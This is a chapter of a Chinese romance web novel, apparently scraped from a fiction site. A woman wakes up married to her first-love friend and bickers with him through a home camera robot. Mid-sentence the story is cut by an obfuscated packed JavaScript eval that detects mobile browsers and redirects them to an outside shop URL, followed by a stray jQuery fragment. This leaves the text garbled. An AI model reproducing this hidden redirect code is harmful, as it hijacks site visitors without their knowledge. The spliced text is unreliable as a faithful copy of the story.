文趣网 > 都市小说 > 醒来和初恋好友结婚了 > 4. 第 4 章
    她凭什么要等他。

    被困住丧失自由的感觉很不好,尤其是她在房间里面什么也做不了,还要听监控里程风指挥。

    监控那头程风说得好听,等等他。好似恳求她留在这,由她选择留不留,可她根本拿门没办法,等待根本不是她的自愿选择。

    千春莉抿了抿嘴,抱着手臂试图让自己冷静下来。

    客厅的监控器安静没几秒,程风的声音又响起来,打断了她的思路。

    简直是火上浇油,千春莉气蹬蹬冲过去,一把抓起四脚朝天的监控器,要从电源上就屏蔽程风。

    翻来覆去摸索一圈,也没找到存储电池的卡槽盖子。

    “这是内置电池,两万毫安,无人物运动自动进入节能模式,可以连续工作三个月。”

    手中的球形监控器响起程风科普的声音,在千春莉听起来很欠打。

    “用得着你在这炫耀,闭嘴。”千春莉转过监控器,抬手啪啪狠拍两下镜头,“没电池,但这外壳可不是精钢铁制吧,哼哼,再多说一句话,把你砸墙上。”

    “别……”程风声音变为微弱了。

    “嗯?”千春莉低压警告。

    程风:……

    千春莉把监控器丢沙发上,自己也跟着坐下,继续思考。

    熟悉的履带滚动声音朝她靠近,撞到她的大腿外侧后才安分。

    “保持六十厘米距离,否则也砸墙。”千春莉撑着下巴,连头都没低一个角度。

    监控球默默滚远。

    “镜头也不许朝着我,墙。”

    监控球默默扭头。

    摄像头对准正前方的超大屏电视,液晶屏幕映照出千春莉盘腿在沙发上,怀抱着咖色布偶熊,下巴抵在熊头顶,眉眼微垂,不知道想什么。

    程风痴痴看着屏幕,三年来第一次感觉自己活着。

    房子贴再多照片,也不过是张纸,即便穿着本人衣服印着一样的脸,终究只是具任人摆布的死物。

    不会拿着护肤水指着他的鼻子问是你吧程风,不会嫌烦威胁要把他扔墙上,不会有来有往和他斗嘴,不会让他又喜又忧牵心挂肚。

    空间恢复失去春莉后每一天的沉默,可这次因为千春莉的存在,空气,微尘和死寂的心都重新有了跳动。

    过于安静又让千春莉有些不适应,随便一眼便看见桌子上倒扣的相框。

    她探身取过,正面面向摄像头:“相片是P的吧。”

    白球和木头一样一动不动,可镜头上红色激光规律闪烁,千春莉等了会,无奈敲了敲白球塑料脑壳:“可以说话了。”

    “相片是真的,我和你一起拍的。”声音通过电流送来,经要风筒播放,听着很沙哑,很陌生,不过这一开口就气出高血压的风格独程风一份。

    真的就真的,有必要强调后半句么。

    千春莉将监控器的摄像头拧到一边,如常听见头部转动机械,干脆压着对准地下。

    得趣地看着监控球转动却卡带的头部,心满意足听见程风的抗议:“没看你!”

    “你以为我没发现?”千春莉哼哼笑,“电视机映着我呢?”

    “一直看着女生,没礼貌。”千春莉拍监控球脑袋。

    “……”程风声音有些泄气,“对不起,我错了。”

    “和你拍的整蛊照?”千春莉试图挣扎。

    “是。”

    “真的!”千春莉欢呼,“太好了!”

    “假的。”程风轻轻地砸下一枚炸弹。

    千春莉□□脸,忿忿抽了摄像头几巴掌,又冷静下来,“你说是真就是真,证据呢。”

    “千春莉,你多大了,拿一个机器出气。”话语似乎挺生气,但程风声音有笑意,“本人在你面前,你敢这样打我吗?”

    简直就是挑衅,她才不落入陷阱,“我怕你讹我。”

    话筒传来程风的低笑声,千春莉感觉怪怪的,她和初恋好友这样对话似乎不太好。

    “程风,你好友楚江钦可是我男朋友,说话要保持距离。”

    “千春莉,你和我结婚了,楚江钦可是作为前男友给过份子钱的。”程风声线有些平,像是生气的样子,“而且我刚到A城,说话和你保持了二十公里,不仅如此我们还有物种距离,还不够吗。”

    “空口说我们结婚谁信,结婚证放哪我看看钢印。”千春莉抿唇,特膈应从程风口中听见‘结婚’这个词语。

    “收在保险柜里,回来拿给你看,怕你给撕了。”

    还说结婚了,防她跟防贼一样。千春莉撇嘴,顺便又给程风一巴掌。

    “没看你,还抽我。”说着,程风转动摄像头就要去瞪人,“不公平。”

    千春莉扯了张抽纸罩住监控白球,静静看程风如何应对。

    “千春莉,别用纸巾蒙住我。”程风的声音听着有些不对劲,她从来没听他这么无力过。

    “你怎么了。”

    程风静了一会说,“我有白纸恐惧症。”

    千春莉不信,确诊白纸恐惧症,家里还着放白色抽纸。

    “好吧,其实我不能满眼白,会恐慌手抖气短。”程风声音微弱,“求你了,拿下来好么,春莉。”

    白纸恐惧症,不能看满眼白,两套说辞在千春莉看来都是谎言,但她能听出微微发抖的声音,这是真的。

    “不许叫我春莉,其他的都不算。”千春莉嘟囔,拿开纸巾,“现在好点了么”

    “好多了,谢谢。”绵长有力的呼吸声通过风筒穿出来,不大,说话声音恢复平常。

    哪知他忽然发起癫。

    “楚江钦还是你同学时就能叫你春莉,我也是你同学,怎麽不行。”程风作怪起来,一点看出不方才声音虚弱的样子。

    “同学也分远近清疏,他可是同班同学,还是同桌。”千春莉理直气壮。

    “那我们可是法律保护的配偶关系,比同学更亲,比同桌更亲,还比前任关系更亲,也不能喊你春莉么。”

    结婚证,法律,配偶。

    “没证据说什么都不算,程风,少占口头便宜,等你回来,要你好看。”千春莉越听脸越热,越听拳头越硬,“我只承认和江钦有情侣关系,别的不算。”

    “你在哪,什么时候到,你这是囚禁。”隔着监控吵架,总有种拳头打在棉花的憋火感。

    “附近,还有半小时。”程风的语气很轻松,“这也是你的房子,怎麽算囚禁。”

    “对不起,我最近加班,没怎么回家,冰箱只有水,我已经从附近超市下单些东西,应该快到了。”程风声音有些歉意,“你是不是饿了,回来我做饭给你吃。”

    按理说千春莉已经和他斗嘴两个来回了,怎麽一点动静都没有,程风叫了两声。

    没回应的原因是千春莉从程风说这也是你的房子起就没听了。

    灵光一闪,千春莉蹦到门边,门扶手有

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17936818|213737||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    个有圆形的浅凹槽,大小刚合适嵌入大拇指。

    如果是她的房子,系统理应录入她的指纹。

    滴铃一声,面板全部亮起,千春莉轻轻一推,门打开一条缝便受到阻碍。

    六大包白色购物袋堆在门边,千春莉蹲下扒拉,看到XX超市字样,还找到了订书针别在购物袋上的小票。

    程风网上下单,送货到家。

    千春莉后知后觉自己醒来后滴水未进,和程风吵架几个小时,这才感觉喉咙已经干燥得快冒烟了。

    监控器话筒的音量哪里盖得住千春莉一头扎进塑料袋自助的声音。

    “牙刷漱口杯!”千春莉有些惊喜,尽管已经通过指纹验证,这的确也是她的房子,但主卧卫生间粉色的牙刷她还是打心里膈应不敢用。

    六个袋子相继翻完,主要分为两类,一类是新鲜食材,占据三分之二量,剩下的则是水果零食。

    蹲下起身太猛,千春莉眼前一黑,身体晃了晃,扶着门才稳住,静静等了会,头不晕眼睛也能看清楚,放弃凭个人力量将这六大袋生活用品提进屋的打算。

    不过能把个人卫生清洁了,千春莉很开心,一早上因为各种事情冲击忘记自己正常生活习惯。

    关上门,拿着清洁用品穿过客厅往卫生间走,千春莉才听到程风在反复喊她地名字。

    即便因为电流,声音有一半失真,仍能够明显听出程风嗓音哑得。厉害

    她无法理解程风为什么要一眼不错地盯着她,消失一秒就要嘶声裂肺的寻找。

    就像是走丢的两个人,一个人无助迷茫绝望地嘶喊。

    连连呼声中,千春莉都不好意思装死了,否则自己都觉得自己残忍。

    “在这呢,我刚出门看你采购的物资了。”千春莉拧过摄像头,头一回主动让镜头对准自己,她都没发现自己调整距离,足够上半身框入镜头里。

    “你打开门了?”程风喃喃。

    听在千春莉耳里像是拿磨砂纸对着声筒揉搓,又不好意思直接关心程风,于是她别别扭扭:“你说什么,我没听见,你声音变唐老鸭了。”

    那边安静片刻,有几声咳嗽,程风再说话声音清澈许多:“好听了么?”

    什么好听不好听,花孔雀一刻不放过显摆的机会,千春莉说:“能听清楚。”

    “你没走。”程风问。

    “去哪?”千春莉没懂,很快明白程风意思:“有事要问你,弄清楚再走。”

    “……好。”

    “那什么,程风”千春莉晃了晃牙刷,“我要去洗漱,你待在客厅,也咋咋呼呼。”

    “不能……”

    程风话还没说完就被千春莉截断:“不能,太冒昧了你。”

    “好吧……”

    虽然程风答应了她,客厅监控器也没响,以防万一,千春莉把洗手间门关上,也不知道为什么防个机器她还上了锁。

    洗漱完,千春莉抽张面巾纸,边擦干净脸,边往客厅走。

    门口解锁声音响起,缓缓向外打开,千春莉忽然紧张起来。

    竟有些怀念隔着监控器交流斗嘴的方式了,高中时期她和程风也鲜少有独处的次数。

    千春莉心里紧张,面上越是不肯露怯,站在原地,眼睛大大地盯着门。

    可当程风西装革履映入眼帘时,千春莉还是不由自主后退一步,偏偏他还朝她伸开双臂,侧头微笑:“好久不见,抱一下?”